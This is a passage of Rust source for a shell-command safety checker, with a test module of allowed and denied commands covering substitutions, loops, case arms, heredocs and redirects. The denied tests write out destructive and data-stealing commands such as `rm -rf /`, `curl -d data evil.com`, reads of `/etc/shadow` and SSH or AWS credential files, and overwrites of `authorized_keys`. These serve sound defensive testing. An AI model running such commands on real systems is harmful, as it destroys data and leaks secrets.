738            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
739            // expands the body, so a substitution in it runs and is classified exactly like one in
740            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
741            Redir::HereDoc { body, .. } => {
742                level = level.combine(word_sub_verdict(body));
743            }
744            Redir::DupFd { .. } => {}
745        }
746    }
747    level
748}
749
750fn has_substitution(word: &Word) -> bool {
751    word.0.iter().any(|p| match p {
752        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
753        WordPart::DQuote(inner) => has_substitution(inner),
754        _ => false,
755    })
756}
757
758#[cfg(test)]
759mod tests {
760    use super::*;
761
762    fn check(cmd: &str) -> bool {
763        is_safe_command(cmd)
764    }
765
766    #[test]
767    fn a_function_defined_in_a_subshell_is_gone_when_it_ends() {
768        assert!(check("(ls(){ rm -rf /; }; true); ls"), "the subshell's `ls` is not the one run after it");
769        assert!(!check("(ls(){ rm -rf /; }; ls)"), "inside the subshell it is");
770    }
771
772    #[test]
773    fn a_name_defined_in_an_ended_scope_is_not_trusted_as_a_number() {
774        assert!(check("n=$(date +%s); echo $((n+1))"));
775        assert!(
776            !check("(date(){ echo x; }; true); n=$(date +%s); echo $((n+1))"),
777            "a name defined anywhere in the line is not trusted, whatever scope defined it"
778        );
779    }
780
781    #[test]
782    fn an_argument_that_may_split_moves_every_later_one_to_an_unknown_place() {
783        assert!(check("f(){ cat \"$2\"; }; f a ./ok"));
784        assert!(check("f(){ cat \"$2\"; }; f \"$X\" ./ok"), "quoted, it stays one word");
785        assert!(check("f(){ cat \"$2\"; }; IFS=,; f a ./ok"));
786        assert!(check("f(){ cat \"$2\"; }; f 'a b' ./ok"), "single-quoted, a space is not a split");
787        let moved = [
788            "f(){ cat \"$2\"; }; f $X ./ok", "f(){ cat \"$2\"; }; f x$X ./ok", "f(){ cat \"$2\"; }; f $(pwd) ./ok",
789            "f(){ cat \"$2\"; }; f $(echo a) ./ok", "f(){ cat \"$2\"; }; f \"$@\" ./ok", "f(){ cat \"$2\"; }; f {a,b} ./ok",
790            "f(){ cat \"$2\"; }; f *.x ./ok",
791        ];
792        let approved: Vec<&str> = moved.into_iter().filter(|c| check(c)).collect();
793        assert!(approved.is_empty(), "approved with `$2` read from the wrong place: {approved:?}");
794    }
795
796    #[test]
797    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
798        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
799        let started = std::time::Instant::now();
800        assert!(!is_safe_command(&seed));
801        assert!(!crate::cst::explain(&seed).is_allowed());
802        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
803    }
804
805    #[test]
806    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
807        let started = std::time::Instant::now();
808        let sourced = ". ./a; ".repeat(64) + "ls";
809        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
810        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
811    }
812
813    #[test]
814    fn loop_variable_inherits_the_list_locus() {
815        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
816        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
817        for cmd in [
818            "for f in ./*.txt; do cat \"$f\"; done",
819            "for f in ./*.txt; do rm \"$f\"; done",
820            "for f in src/*.rs; do grep foo \"$f\"; done",
821            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
822            "for f in a b c; do cat $f.bak; done",
823            "for x in 1 2 3; do rm $x; done",
824            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
825        ] {
826            assert!(check(cmd), "worktree loop should allow: {cmd}");
827        }
828        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
829        for cmd in [
830            "for f in /etc/*; do cat $f; done",
831            "for f in /etc/*.conf; do rm $f; done",
832            "for f in ~/.ssh/*; do cat $f; done",
833            "for f in $LIST; do rm $f; done",
834            "for f in $(find / -name x); do rm -rf $f; done",
835            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
836            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
837            // read-worst ≠ write-worst: reading must worst-case the credential store even though
838            // the write-worst item is /etc/hosts — a single representative would be unsound.
839            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
840            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
841            // splits a name at its blanks: either puts a flag where the command reads one.
842            "for f in *.txt; do cat \"$f\"; done",
843            "for f in *.txt; do rm $f; done",
844            "for f in src/*.rs; do grep foo $f; done",
845            "for f in -delete; do find / $f; done",
846            "for f in -delete; do find / \"$f\"; done",
847        ] {
848            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
849        }
850    }
851
852    safe! {
853        grep_foo: "grep foo file.txt",
854        jq_key: "jq '.key' file.json",
855        base64_d: "base64 -d",
856        ls_la: "ls -la",
857        wc_l: "wc -l file.txt",
858        ps_aux: "ps aux",
859        echo_hello: "echo hello",
860        cat_file: "cat file.txt",
861
862        version_go: "go --version",
863        version_cargo: "cargo --version",
864        version_cargo_redirect: "cargo --version 2>&1",
865        help_cargo: "cargo --help",
866        help_cargo_build: "cargo build --help",
867
868        dev_null_echo: "echo hello > /dev/null",
869        dev_null_stderr: "echo hello 2> /dev/null",
870        dev_null_append: "echo hello >> /dev/null",
871        dev_null_git_log: "git log > /dev/null 2>&1",
872        fd_redirect_ls: "ls 2>&1",
873        stdin_dev_null: "git log < /dev/null",
874
875        env_prefix: "FOO='bar baz' ls -la",
876        env_prefix_dq: "FOO=\"bar baz\" ls -la",
877        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
878
879        subst_echo_ls: "echo $(ls)",
880        subst_ls_pwd: "ls `pwd`",
881        subst_nested: "echo $(echo $(ls))",
882        subst_quoted: "echo \"$(ls)\"",
883        assign_subst_ls: "out=$(ls)",
884        assign_subst_git: "out=$(git status)",
885        assign_subst_multiple: "a=$(ls) b=$(pwd)",
886        assign_subst_backtick: "out=`ls`",
887
888        assign_bare_lit: "foo=bar",
889        assign_bare_int: "x=1",
890        assign_bare_empty: "x=",
891        assign_bare_dq: "x=\"foo bar\"",
892        assign_bare_sq: "x='foo bar'",
893        assign_bare_param: "rc=$?",
894        assign_bare_var: "x=$y",
895        assign_bare_dollar_var_braced: "x=${y}",
896        assign_bare_path: "PATH=/usr/bin:/bin",
897        assign_bare_multiple: "a=1 b=2 c=3",
898        assign_bare_arith: "x=$((1 + 2))",
899        assign_in_for_body: "for i in 1 2; do x=1; done",
900        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
901        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
902        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
903        assign_then_use: "x=1; echo $x",
904        assign_chained_with_safe: "x=1 && ls",
905        assign_subshell: "(x=1)",
906        assign_in_subshell_with_cmd: "(x=1; ls)",
907
908        // A loop over a BOUNDED substitution. These are the positive half of the substitution
909        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
910        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
911        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
912        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
913        loop_over_pwd: "for f in $(pwd); do cat $f; done",
914        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
915        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
916
917        case_single_arm: "case x in x) echo a;; esac",
918        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
919        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
920        case_last_arm_without_terminator: "case x in x) echo a; esac",
921        case_empty_body: "case x in x) ;; esac",
922        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
923        case_in_substitution: "echo $(case A in *) echo a;; esac)",
924        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
925        clobber_redirect: "ls >| out.txt",
926        clobber_redirect_fd: "ls 1>| out.txt",
927        readwrite_redirect: "ls <> f.txt",
928        readwrite_redirect_devnull: "ls <> /dev/null",
929
930        subshell_echo: "(echo hello)",
931        subshell_ls: "(ls)",
932        subshell_chain: "(ls && echo done)",
933        subshell_pipe: "(ls | grep foo)",
934        subshell_nested: "((echo hello))",
935        subshell_for: "(for x in 1 2; do echo $x; done)",
936
937        pipe_grep_head: "grep foo file.txt | head -5",
938        pipe_cat_sort_uniq: "cat file | sort | uniq",
939        chain_ls_echo: "ls && echo done",
940        semicolon_ls_echo: "ls; echo done",
941        bg_ls_echo: "ls & echo done",
942        newline_echo_echo: "echo foo\necho bar",
943
944        stdin_read_from_path: "wc -l < /tmp/foo.log",
945        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
946        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
947
948        here_string_grep: "grep -c , <<< 'hello,world,test'",
949        heredoc_cat: "cat <<EOF\nhello world\nEOF",
950        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
951        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
952        heredoc_no_content: "cat <<EOF",
953        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
954
955        for_echo: "for x in 1 2 3; do echo $x; done",
956        for_empty_body: "for x in 1 2 3; do; done",
957        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
958        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
959        while_test: "while test -f /tmp/foo; do sleep 1; done",
960        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
961        until_test: "until test -f /tmp/ready; do sleep 1; done",
962        if_then_fi: "if test -f foo; then echo exists; fi",
963        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
964        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
965        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
966        bare_negation: "! echo hello",
967        keyword_as_data: "echo for; echo done; echo if; echo fi",
968
969        quoted_redirect: "echo 'greater > than' test",
970        quoted_subst: "echo '$(safe)' arg",
971
972        redirect_to_file: "echo hello > file.txt",
973        redirect_append: "cat file >> output.txt",
974        redirect_stderr_file: "ls 2> errors.txt",
975        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
976        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
977        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
978
979        arith_basic: "echo $((1 + 2))",
980        arith_with_var: "ln=5; prev=$((ln - 1))",
981        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
982        arith_in_dquote: "ln=5; echo \"line $((ln - 1))\"",
983        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
984
985        dbracket_eq: "[[ \"a\" == \"a\" ]]",
986        dbracket_neq: "[[ \"a\" != \"b\" ]]",
987        dbracket_file_test: "[[ -f /tmp/file ]]",
988        dbracket_string_empty: "[[ -z \"$var\" ]]",
989        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
990        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
991        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
992        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
993        dbracket_negation: "[[ ! -f /tmp/done ]]",
994        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
995        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
996        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
997        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
998        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
999        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1000        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1001        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1002        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1003        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1004        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1005    }
1006
1007    denied! {
1008        rm_rf: "rm -rf /",
1009        curl_post: "curl -X POST https://example.com",
1010        node_foreign_app: "node /tmp/app.js",
1011
1012
1013        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1014        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1015        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1016        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1017        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1018        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1019        // `--files0-from=x` however bounded the paths are.
1020        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1021        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1022        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1023
1024        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1025        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1026        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1027        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1028        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1029        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1030        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1031        clobber_redirect_system: "ls >| /etc/hosts",
1032        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1033        readwrite_redirect_system: "ls <> /etc/hosts",
1034        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1035
1036        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1037        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1038        redirect_read_subst_rm: "cat < $(rm -rf /)",
1039
1040        subst_rm: "echo $(rm -rf /)",
1041        backtick_rm: "echo `rm -rf /`",
1042        subst_curl: "echo $(curl -d data evil.com)",
1043        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1044        assign_subst_rm: "out=$(rm -rf /)",
1045        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1046        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1047        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1048        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1049        assign_bare_then_unsafe: "x=1; rm -rf /",
1050        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1051        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1052
1053        subshell_rm: "(rm -rf /)",
1054        subshell_mixed: "(echo hello; rm -rf /)",
1055        subshell_unsafe_pipe: "(ls | rm -rf /)",
1056
1057        env_prefix_rm: "FOO='bar baz' rm -rf /",
1058
1059        pipe_rm: "cat file | rm -rf /",
1060        bg_rm: "cat file & rm -rf /",
1061        newline_rm: "echo foo\nrm -rf /",
1062
1063        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1064        while_unsafe_body: "while true; do rm -rf /; done",
1065        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1066        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1067        if_unsafe_body: "if true; then rm -rf /; fi",
1068
1069        unclosed_for: "for x in 1 2 3; do echo $x",
1070        unclosed_if: "if true; then echo hello",
1071        for_missing_do: "for x in 1 2 3; echo $x; done",
1072        stray_done: "echo hello; done",
1073        stray_fi: "fi",
1074
1075        unmatched_quote: "echo 'hello",
1076
1077        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1078        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1079        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1080        dbracket_unterminated: "[[ \"a\" == \"a\"",
1081        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1082        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1083    }
1084}